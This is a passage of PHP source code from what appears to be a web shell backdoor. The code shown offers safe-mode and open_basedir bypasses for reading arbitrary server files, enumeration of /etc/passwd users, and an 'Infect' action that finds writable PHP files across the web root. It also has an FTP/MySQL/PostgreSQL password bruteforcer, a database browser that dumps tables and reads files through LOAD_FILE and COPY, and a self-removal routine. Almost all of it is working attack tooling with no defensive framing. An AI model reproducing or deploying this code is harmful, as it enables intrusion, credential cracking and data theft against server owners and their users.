{\r\n\t\tcase 1:\r\n\t\t\t\$temp=@tempnam(\$test, 'cx');\r\n\t\t\tif(@copy(\"compress.zlib://\".\$_POST['p2'], \$temp)){\r\n\t\t\t\techo @file_get_contents(\$temp);\r\n\t\t\t\tunlink(\$temp);\r\n\t\t\t} else\r\n\t\t\t\techo 'Sorry... Can\\'t open file';\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t\$files = glob(\$_POST['p2'].'*');\r\n\t\t\tif( is_array(\$files) )\r\n\t\t\t\tforeach (\$files as \$filename)\r\n\t\t\t\t\techo \$filename.\"\\n\";\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\t\$ch = curl_init(\"file://\".\$_POST['p2'].\"\\x00\".SELF_PATH);\r\n\t\t\tcurl_exec(\$ch);\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\tini_restore(\"safe_mode\");\r\n\t\t\tini_restore(\"open_basedir\");\r\n\t\t\tinclude(\$_POST['p2']);\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\tfor(;\$_POST['p2'] <= \$_POST['p3'];\$_POST['p2']++) {\r\n\t\t\t\t\$uid = @posix_getpwuid(\$_POST['p2']);\r\n\t\t\t\tif (\$uid)\r\n\t\t\t\t\techo join(':',\$uid).\"\\n\";\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase 6:\r\n\t\t\tif(!function_exists('imap_open'))break;\r\n\t\t\t\$stream = imap_open(\$_POST['p2'], \"\", \"\");\r\n\t\t\tif (\$stream == FALSE)\r\n\t\t\t\tbreak;\r\n\t\t\techo imap_body(\$stream, 1);\r\n\t\t\timap_close(\$stream);\r\n\t\t\tbreak;\r\n\t}\r\n\t\$temp = ob_get_clean();\r\n\thardHeader();\r\n\techo '<h1>Safe mode bypass</h1><div class=content>';\r\n\techo '<span>Copy (read file)</span><form onsubmit=\\'g(null,null,\"1\",this.param.value);return false;\\'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit=\\'g(null,null,\"2\",this.param.value);return false;\\'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit=\\'g(null,null,\"3\",this.param.value);return false;\\'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\'g(null,null,\"4\",this.param.value);return false;\\'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit=\\'g(null,null,\"5\",this.param1.value,this.param2.value);return false;\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\'g(null,null,\"6\",this.param.value);return false;\\'><input type=text name=param><input type=submit value=\"submit\"></form>';\r\n\tif(\$temp)\r\n\t\techo '<pre class=\"ml1\" style=\"margin-top:5px\" id=\"Output\">'.\$temp.'</pre>';\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n    setcookie(md5(\$_SERVER['HTTP_HOST']), '', time() - 3600);\r\n\tdie('bye!');\r\n}\r\nfunction actionSelfRemove() {\r\n\tif(\$_POST['p1'] == 'yes')\r\n\t\tif(@unlink(preg_replace('!\\(\\d+\\)\\s.*!', '', __FILE__)))\r\n\t\t\tdie('Shell has been removed');\r\n\t\telse\r\n\t\t\techo 'unlink error!';\r\n    if(\$_POST['p1'] != 'yes')\r\n        hardHeader();\r\n\techo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,\\'yes\\')\">Yes</a></div>';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\techo '<h1>Infect</h1><div class=content>';\r\n\tif(\$_POST['p1'] == 'infect') {\r\n\t\t\$target=\$_SERVER['DOCUMENT_ROOT'];\r\n\t\t\tfunction ListFiles(\$dir) {\r\n\t\t\t\tif(\$dh = opendir(\$dir)) {\r\n\t\t\t\t\t\$files = Array();\r\n\t\t\t\t\t\$inner_files = Array();\r\n\t\t\t\t\twhile(\$file = readdir(\$dh)) {\r\n\t\t\t\t\t\tif(\$file != \".\" && \$file != \"..\") {\r\n\t\t\t\t\t\t\tif(is_dir(\$dir . \"/\" . \$file)) {\r\n\t\t\t\t\t\t\t\t\$inner_files = ListFiles(\$dir . \"/\" . \$file);\r\n\t\t\t\t\t\t\t\tif(is_array(\$inner_files)) \$files = array_merge(\$files, \$inner_files); \r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tarray_push(\$files, \$dir . \"/\" . \$file);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir(\$dh);\r\n\t\t\t\t\treturn \$files;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tforeach (ListFiles(\$target) as \$key=>\$file){\r\n\t\t\t\t\$nFile = substr(\$file, -4, 4);\r\n\t\t\t\tif(\$nFile == \".php\" ){\r\n\t\t\t\t\tif((\$file<>\$_SERVER['DOCUMENT_ROOT'].\$_SERVER['PHP_SELF'])&&(is_writeable(\$file))){\r\n\t\t\t\t\t\techo \"\$file<br>\";\r\n\t\t\t\t\t\t\$i++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \"<font color=red size=14>\$i</font>\";\r\n\t\t}else{\r\n\t\t\techo \"<form method=post><input type=submit value=Infect name=infet></form>\";\r\n\t\t\techo 'Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,\\'infect\\')\">Yes</a></div>';\r\n\t\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\tif( isset(\$_POST['proto']) ) {\r\n\t\techo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars(\$_POST['proto']).' <span>Server:</span> '.htmlspecialchars(\$_POST['server']).'<br>';\r\n\t\tif( \$_POST['proto'] == 'ftp' ) {\r\n\t\t\tfunction bruteForce(\$ip,\$port,\$login,\$pass) {\r\n\t\t\t\t\$fp = @ftp_connect(\$ip, \$port?\$port:21);\r\n\t\t\t\tif(!\$fp) return false;\r\n\t\t\t\t\$res = @ftp_login(\$fp, \$login, \$pass);\r\n\t\t\t\t@ftp_close(\$fp);\r\n\t\t\t\treturn \$res;\r\n\t\t\t}\r\n\t\t} elseif( \$_POST['proto'] == 'mysql' ) {\r\n\t\t\tfunction bruteForce(\$ip,\$port,\$login,\$pass) {\r\n\t\t\t\t\$res = @mysql_connect(\$ip.':'.(\$port?\$port:3306), \$login, \$pass);\r\n\t\t\t\t@mysql_close(\$res);\r\n\t\t\t\treturn \$res;\r\n\t\t\t}\r\n\t\t} elseif( \$_POST['proto'] == 'pgsql' ) {\r\n\t\t\tfunction bruteForce(\$ip,\$port,\$login,\$pass) {\r\n\t\t\t\t\$str = \"host='\".\$ip.\"' port='\".\$port.\"' user='\".\$login.\"' password='\".\$pass.\"' dbname=postgres\";\r\n\t\t\t\t\$res = @pg_connect(\$str);\r\n\t\t\t\t@pg_close(\$res);\r\n\t\t\t\treturn \$res;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\$success = 0;\r\n\t\t\$attempts = 0;\r\n\t\t\$server = explode(\":\", \$_POST['server']);\r\n\t\tif(\$_POST['type'] == 1) {\r\n\t\t\t\$temp = @file('/etc/passwd');\r\n\t\t\tif( is_array(\$temp) )\r\n\t\t\t\tforeach(\$temp as \$line) {\r\n\t\t\t\t\t\$line = explode(\":\", \$line);\r\n\t\t\t\t\t++\$attempts;\r\n\t\t\t\t\tif( bruteForce(@\$server[0],@\$server[1], \$line[0], \$line[0]) ) {\r\n\t\t\t\t\t\t\$success++;\r\n\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$line[0]).'<br>';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(@\$_POST['reverse']) {\r\n\t\t\t\t\t\t\$tmp = \"\";\r\n\t\t\t\t\t\tfor(\$i=strlen(\$line[0])-1; \$i>=0; --\$i)\r\n\t\t\t\t\t\t\t\$tmp .= \$line[0][\$i];\r\n\t\t\t\t\t\t++\$attempts;\r\n\t\t\t\t\t\tif( bruteForce(@\$server[0],@\$server[1], \$line[0], \$tmp) ) {\r\n\t\t\t\t\t\t\t\$success++;\r\n\t\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$line[0]).'</b>:'.htmlspecialchars(\$tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t} elseif(\$_POST['type'] == 2) {\r\n\t\t\t\$temp = @file(\$_POST['dict']);\r\n\t\t\tif( is_array(\$temp) )\r\n\t\t\t\tforeach(\$temp as \$line) {\r\n\t\t\t\t\t\$line = trim(\$line);\r\n\t\t\t\t\t++\$attempts;\r\n\t\t\t\t\tif( bruteForce(\$server[0],@\$server[1], \$_POST['login'], \$line) ) {\r\n\t\t\t\t\t\t\$success++;\r\n\t\t\t\t\t\techo '<b>'.htmlspecialchars(\$_POST['login']).'</b>:'.htmlspecialchars(\$line).'<br>';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}\r\n\t\techo \"<span>Attempts:</span> \$attempts <span>Success:</span> \$success</div><br>\";\r\n\t}\r\n\techo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'\r\n\t\t.'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>'\r\n\t\t.'<input type=hidden name=c value=\"'.htmlspecialchars(\$GLOBALS['cwd']).'\">'\r\n\t\t.'<input type=hidden name=a value=\"'.htmlspecialchars(\$_POST['a']).'\">'\r\n\t\t.'<input type=hidden name=charset value=\"'.htmlspecialchars(\$_POST['charset']).'\">'\r\n\t\t.'<input type=hidden name=ne  value=\"\">'\r\n\t\t.'<span>Server:port</span></td>'\r\n\t\t.'<td><input type=text name=server value=\"127.0.0.1\"></td></tr>'\r\n\t\t.'<tr><td><span>Brute type</span></td>'\r\n\t\t.'<td><input type=radio name=type value=\"1\" checked> /etc/passwd</td></tr>'\r\n\t\t.'<tr><td></td><td style=\"padding-left:15px\"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>'\r\n\t\t.'<tr><td></td><td><input type=radio name=type value=\"2\"> Dictionary</td></tr>'\r\n\t\t.'<tr><td></td><td><table style=\"padding-left:15px\"><tr><td><span>Login</span></td>'\r\n\t\t.'<td><input type=text name=login value=\"root\"></td></tr>'\r\n\t\t.'<tr><td><span>Dictionary</span></td>'\r\n\t\t.'<td><input type=text name=dict value=\"'.htmlspecialchars(\$GLOBALS['cwd']).'passwd.dic\"></td></tr></table>'\r\n\t\t.'</td></tr><tr><td></td><td><input type=submit value=\"submit\"></td></tr></form></table>';\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionSql() {\r\n\tclass DbClass {\r\n\t\tvar \$type;\r\n\t\tvar \$link;\r\n\t\tvar \$res;\r\n\t\tfunction __Constructor(\$type)\t{\r\n\t\t\t\$this->type = \$type;\r\n\t\t}\r\n\t\tfunction connect(\$host, \$user, \$pass, \$dbname){\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\tif( \$this->link = @mysql_connect(\$host,\$user,\$pass,true) ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\t\$host = explode(':', \$host);\r\n\t\t\t\t\tif(!\$host[1]) \$host[1]=5432;\r\n\t\t\t\t\tif( \$this->link = @pg_connect(\"host={\$host[0]} port={\$host[1]} user=\$user password=\$pass dbname=\$dbname\") ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction selectdb(\$db) {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\tif (@mysql_select_db(\$db))return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction query(\$str) {\r\n\t\t\tswitch(\$this->type) {\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\treturn \$this->res = @mysql_query(\$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn \$this->res = @pg_query(\$this->link,\$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction fetch() {\r\n\t\t\t\$res = func_num_args()?func_get_arg(0):\$this->res;\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\treturn @mysql_fetch_assoc(\$res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn @pg_fetch_assoc(\$res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listDbs() {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n                        return \$this->query(\"SHOW databases\");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn \$this->res = \$this->query(\"SELECT datname FROM pg_database WHERE datistemplate!='t'\");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listTables() {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\treturn \$this->res = \$this->query('SHOW TABLES');\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn \$this->res = \$this->query(\"select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'\");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction error() {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\treturn @mysql_error();\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn @pg_last_error();\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction setCharset(\$str) {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\tif(function_exists('mysql_set_charset'))\r\n\t\t\t\t\t\treturn @mysql_set_charset(\$str, \$this->link);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$this->query('SET CHARSET '.\$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\treturn @pg_set_client_encoding(\$this->link, \$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction loadFile(\$str) {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\treturn \$this->fetch(\$this->query(\"SELECT LOAD_FILE('\".addslashes(\$str).\"') as file\"));\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\t\$this->query(\"CREATE TABLE hard2(file text);COPY hard2 FROM '\".addslashes(\$str).\"';select file from hard2;\");\r\n\t\t\t\t\t\$r=array();\r\n\t\t\t\t\twhile(\$i=\$this->fetch())\r\n\t\t\t\t\t\t\$r[] = \$i['file'];\r\n\t\t\t\t\t\$this->query('drop table hard2');\r\n\t\t\t\t\treturn array('file'=>implode(\"\\n\",\$r));\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction dump(\$table, \$fp = false) {\r\n\t\t\tswitch(\$this->type)\t{\r\n\t\t\t\tcase 'mysql':\r\n\t\t\t\t\t\$res = \$this->query('SHOW CREATE TABLE `'.\$table.'`');\r\n\t\t\t\t\t\$create = mysql_fetch_array(\$res);\r\n\t\t\t\t\t\$sql = \$create[1].\";\\n\";\r\n                    if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\r\n\t\t\t\t\t\$this->query('SELECT * FROM `'.\$table.'`');\r\n                    \$i = 0;\r\n                    \$head = true;\r\n\t\t\t\t\twhile(\$\xe2\x96\x9f = \$this->fetch()) {\r\n                        \$sql = '';\r\n                        if(\$i % 1000 == 0) {\r\n                            \$head = true;\r\n                            \$sql = \";\\n\\n\";\r\n                        }\r\n\t\t\t\t\t\t\$columns = array();\r\n\t\t\t\t\t\tforeach(\$\xe2\x96\x9f as \$k=>\$v) {\r\n                            if(\$v === null)\r\n                                \$\xe2\x96\x9f[\$k] = \"NULL\";\r\n                            elseif(is_int(\$v))\r\n                                \$\xe2\x96\x9f[\$k] = \$v;\r\n                            else\r\n                                \$\xe2\x96\x9f[\$k] = \"'\".@mysql_real_escape_string(\$v).\"'\";\r\n\t\t\t\t\t\t\t\$columns[] = \"`\".\$k.\"`\";\r\n\t\t\t\t\t\t}\r\n                        if(\$head) {\r\n                            \$sql .= 'INSERT INTO `'.\$table.'` ('.implode(\", \", \$columns).\") VALUES \\n\\t(\".implode(\", \", \$\xe2\x96\x9f).')';\r\n                            \$head = false;\r\n                        } else\r\n                            \$sql .= \"\\n\\t,(\".implode(\", \", \$\xe2\x96\x9f).')';\r\n                        if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\r\n                        \$i++;\r\n\t\t\t\t\t}\r\n                    if(!\$head)\r\n                        if(\$fp) fwrite(\$fp, \";\\n\\n\"); else echo(\";\\n\\n\");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase 'pgsql':\r\n\t\t\t\t\t\$this->query('SELECT * FROM '.\$table);\r\n\t\t\t\t\twhile(\$\xe2\x96\x9f = \$this->fetch()) {\r\n\t\t\t\t\t\t\$columns = array();\r\n\t\t\t\t\t\tforeach(\$\xe2\x96\x9f as \$k=>\$v) {\r\n\t\t\t\t\t\t\t\$\xe2\x96\x9f[\$k] = \"'\".addslashes(\$v).\"'\";\r\n\t\t\t\t\t\t\t\$columns[] = \$k;\r\n\t\t\t\t\t\t}\r\n                        \$sql = 'INSERT INTO '.\$table.' ('.implode(\", \", \$columns).') VALUES ('.implode(\", \", \$\xe2\x96\x9f).');'.\"\\n\";\r\n                        if(\$fp) fwrite(\$fp, \$sql); else echo(\$sql);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t};\r\n\t\$db = new DbClass(\$_POST['type']);\r\n\tif((@\$_POST['p2']=='download') && (@\$_POST['p1']!='select')) {\r\n\t\t\$db->connect(\$_POST['sql_host'], \$_POST['sql_login'], \$_POST['sql_pass'], \$_POST['sql_base']);\r\n\t\t\$db->selectdb(\$_POST['sql_base']);\r\n        switch(\$_POST['charset']) {\r\n            case \"Windows-1251\": \$db->setCharset('cp1251'); break;\r\n            case \"UTF-8\": \$db->setCharset('utf8'); break;\r\n            case \"KOI8-R\": \$db->setCharset('koi8r'); break;\r\n            case \"KOI8-U\": \$db->setCharset('koi8u'); break;\r\n            case \"cp866\": \$db->setCharset('cp866'); break;\r\n        }\r\n        if(empty(\$_POST['file'])) {\r\n            ob_start(\"ob_gzhandler\", 4096);\r\n            header(\"Content-Disposition: attachment; filename=dump.sql\");\r\n            header(\"Content-Type: text/plain\");\r\n            foreach(\$_POST['tbl'] as \$v)\r\n\t\t\t\t\$db->dump(\$v);\r\n            exit;\r\n        } elseif(\$fp = @fopen(\$_POST['file'], 'w')) {\r\n            foreach(\$_POST['tbl'] as \$v)\r\n                \$db->dump(\$v, \$fp);\r\n            fclose(\$fp);\r\n            unset(\$_POST['p2']);\r\n        } else\r\n            die('<script>alert(\"Error! Can\\'t open file\");window.history.back(-1)</script>');\r\n\t}\r\n\thardHeader();\r\n\techo \"\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='\". htmlspecialchars(\$GLOBALS['cwd']) .\"'><input type=hidden name=charset value='\". (isset(\$_POST['charset'])?\$_POST['charset']:'') .\"'>\r\n<td><label><select name='type'><option value='mysql' \";\r\n    if(@\$_POST['type']=='mysql')echo 'selected';\r\necho \">MySql</option><option value='pgsql' \";\r\nif(@\$_POST['type']=='pgsql')echo 'selected';\r\necho \">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\\\"\". (empty(\$_POST['sql_host'])?'localhost':htmlspecialchars(\$_POST['sql_host'])) .\"\\\"></td>\r\n<td><input type=text name=sql_login value=\\\"\". (empty(\$_POST['sql_login'])?'root':htmlspecialchars(\$_POST['sql_login'])) .\"\\\"></td>\r\n<td><input type=text name=sql_pass value=\\\"\". (empty(\$_POST['sql_pass'])?'':htmlspecialchars(\$_POST['sql_pass'])) .\"\\\" required></td><td>\";\r\n\t\$tmp = \"<input type=text name=sql_base value=''>\";\r\n\tif(isset(\$_POST['sql_host'])){\r\n\t\tif(\$db->connect(\$_POST['sql_host'], \$_POST['sql_login'], \$_POST['sql_pass'], \$_POST['sql_base'])) {\r\n\t\t\tswitch(\$_POST['charset']) {\r\n\t\t\t\tcase \"Windows-1251\": \$db->setCharset('cp1251'); break;\r\n\t\t\t\tcase \"UTF-8\": \$db->setCharset('utf8'); break;\r\n\t\t\t\tcase \"KOI8-R\": \$db->setCharset('koi8r'); break;\r\n\t\t\t\tcase \"KOI8-U\": \$db->setCharset('koi8u'); break;\r\n\t\t\t\tcase \"cp866\": \$db->setCharset('cp866'); break;\r\n\t\t\t}\r\n\t\t\t\$db->listDbs();\r\n\t\t\techo \"<label><select name=sql_base><option value=''></option>\";\r\n\t\t\twhile(\$\xe2\x96\x9f = \$db->fetch()) {\r\n\t\t\t\tlist(\$key, \$value) = each(\$\xe2\x96\x9f);\r\n\t\t\t\techo '<option value=\"'.\$value.'\" '.(\$value==\$_POST['sql_base']?'selected':'').'>'.\$value.'</option>';\r\n\t\t\t}\r\n\t\t\techo '</select></label>';\r\n\t\t}\r\n\t\telse echo \$tmp;\r\n\t}else\r\n\t\techo \$tmp;\r\n\techo \"</td>\r\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\r\n                <td><input type=checkbox name=sql_count value='on'\" . (empty(\$_POST['sql_count'])?'':' checked') . \"> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n            s_db='\".@addslashes(\$_POST['sql_base']).\"';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value='';\r\n                    if(f.p2) f.p2.value='';\r\n                    if(f.p3) f.p3.value='';\r\n                }\r\n            }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = 'select';\r\n\t\t\t\td.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n\t\t\t}\r\n\t\t</script>\";\r\n\tif(isset(\$db) && \$db->link){\r\n\t\techo \"<br/><table width=100% cellpadding=2 cellspacing=0>\";\r\n\t\t\tif(!empty(\$_POST['sql_base'])){\r\n\t\t\t\t\$db->selectdb(\$_POST['sql_base']);\r\n\t\t\t\techo \"<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>\";\r\n\t\t\t\t\$tbls_res = \$db->listTables();\r\n\t\t\t\twhile(\$\xe2\x96\x9f = \$db->fetch(\$tbls_res)) {\r\n\t\t\t\t\tlist(\$key, \$value) = each(\$\xe2\x96\x9f);\r\n                    if(!empty(\$_POST['sql_count']))\r\n                        \$n = \$db->fetch(\$db->query('SELECT COUNT(*) as n FROM '.\$value.''));\r\n\t\t\t\t\t\$value = htmlspecialchars(\$value);\r\n\t\t\t\t\techo \"<nobr><input type='checkbox' name='tbl[]' value='\".\$value.\"'>&nbsp;<a href=# onclick=\\\"st('\".\$value.\"',1)\\\">\".\$value.\"</a>\" . (empty(\$_POST['sql_count'])?'&nbsp;':\" <small>({\$n['n']})</small>\") . \"</nobr><br>\";\r\n\t\t\t\t}\r\n\t\t\t\techo \"<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\\\"download\\\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>\";\r\n\t\t\t\tif(@\$_POST['p1'] == 'select') {\r\n\t\t\t\t\t\$_POST['p1'] = 'query';\r\n                    \$_POST['p3'] = \$_POST['p3']?\$_POST['p3']:1;\r\n\t\t\t\t\t\$db->query('SELECT COUNT(*) as n FROM ' . \$_POST['p2']);\r\n\t\t\t\t\t\$num = \$db->fetch();\r\n\t\t\t\t\t\$pages = ceil(\$num['n'] / 30);\r\n                    echo \"<script>d.sf.onsubmit=function(){st(\\\"\" . \$_POST['p2'] . \"\\\", d.sf.p3.value)}</script><span>\".\$_POST['p2'].\"</span> ({\$num['n']} records) Page # <input type=text name='p3' value=\" . ((int)\$_POST['p3']) . \">\";\r\n                    echo \" of \$pages\";\r\n                    if(\$_POST['p3'] > 1)\r\n                        echo \" <a href=# onclick='st(\\\"\" . \$_POST['p2'] . '\", ' . (\$_POST['p3']-1) . \")'>&lt; Prev</a>\";\r\n                    if(\$_POST['p3'] < \$pages)\r\n                        echo \" <a href=# onclick='st(\\\"\" . \$_POST['p2'] . '\", ' . (\$_POST['p3']+1) . \")'>Next &gt;</a>\";\r\n                    \$_POST['p3']--;\r\n\t\t\t\t\tif(\$_POST['type']=='pgsql')\r\n\t\t\t\t\t\t\$_POST['p2'] = 'SELECT * FROM '.\$_POST['p2'].' LIMIT 30 OFFSET '.(\$_POST['p3']*30);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t\$_POST['p2'] = 'SELECT * FROM `'.\$_POST['p2'].'` LIMIT '.(\$_POST['p3']*30).',30';\r\n\t\t\t\t\techo \"<br><br>\";\r\n\t\t\t\t}\r\n\t\t\t\tif((@\$_POST['p1'] == 'query') && !empty(\$_POST['p2'])) {\r\n\t\t\t\t\t\$db->query(@\$_POST['p2']);\r\n\t\t\t\t\tif(\$db->res !== false) {\r\n\t\t\t\t\t\t\$title = false;\r\n\t\t\t\t\t\techo '<table width=100% cellspacing=1 cellpadding=2 class=main>';\r\n\t\t\t\t\t\t\$line = 1;\r\n\t\t\t\t\t\twhile(\$\xe2\x96\x9f = \$db->fetch())\t{\r\n\t\t\t\t\t\t\tif(!\$title)\t{\r\n\t\t\t\t\t\t\t\techo '<tr>';\r\n\t\t\t\t\t\t\t\tforeach(\$\xe2\x96\x9f as \$key => \$value)\r\n\t\t\t\t\t\t\t\t\techo '<th>'.\$key.'</th>';\r\n\t\t\t\t\t\t\t\treset(\$\xe2\x96\x9f);\r\n\t\t\t\t\t\t\t\t\$title=true;\r\n\t\t\t\t\t\t\t\techo '</tr><tr>';\r\n\t\t\t\t\t\t\t\t\$line = 2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo '<tr class=\"l'.\$line.'\">';\r\n\t\t\t\t\t\t\t\$line = \$line==1?2:1;\r\n\t\t\t\t\t\t\tforeach(\$\xe2\x96\x9f as \$key => \$value) {\r\n\t\t\t\t\t\t\t\tif(\$value == null)\r\n\t\t\t\t\t\t\t\t\techo '<td><i>null</i></td>';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo '<td>'.nl2br(htmlspecialchars(\$value)).'</td>';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo '</tr>';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo '</table>';\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo '<div><b>Error:</b> '.htmlspecialchars(\$db->error()).'</div>';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo \"<br></form><form onsubmit='d.sf.p1.value=\\\"query\\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>\";\r\n                if(!empty(\$_POST['p2']) && (\$_POST['p1'] != 'loadfile'))\r\n                    echo htmlspecialchars(\$_POST['p2']);\r\n                echo \"</textarea><br/><input type=submit value='Execute'>\";\r\n\t\t\t\techo \"</td></tr>\";\r\n\t\t\t}\r\n\t\t\techo \"</table></form><br/>\";\r\n            if(\$_POST['type']=='mysql') {\r\n                \$db->query(\"SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'\");\r\n                if(\$db->fetch())\r\n                    echo \"<form onsubmit='d.sf.p1.value=\\\"loadfile\\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit 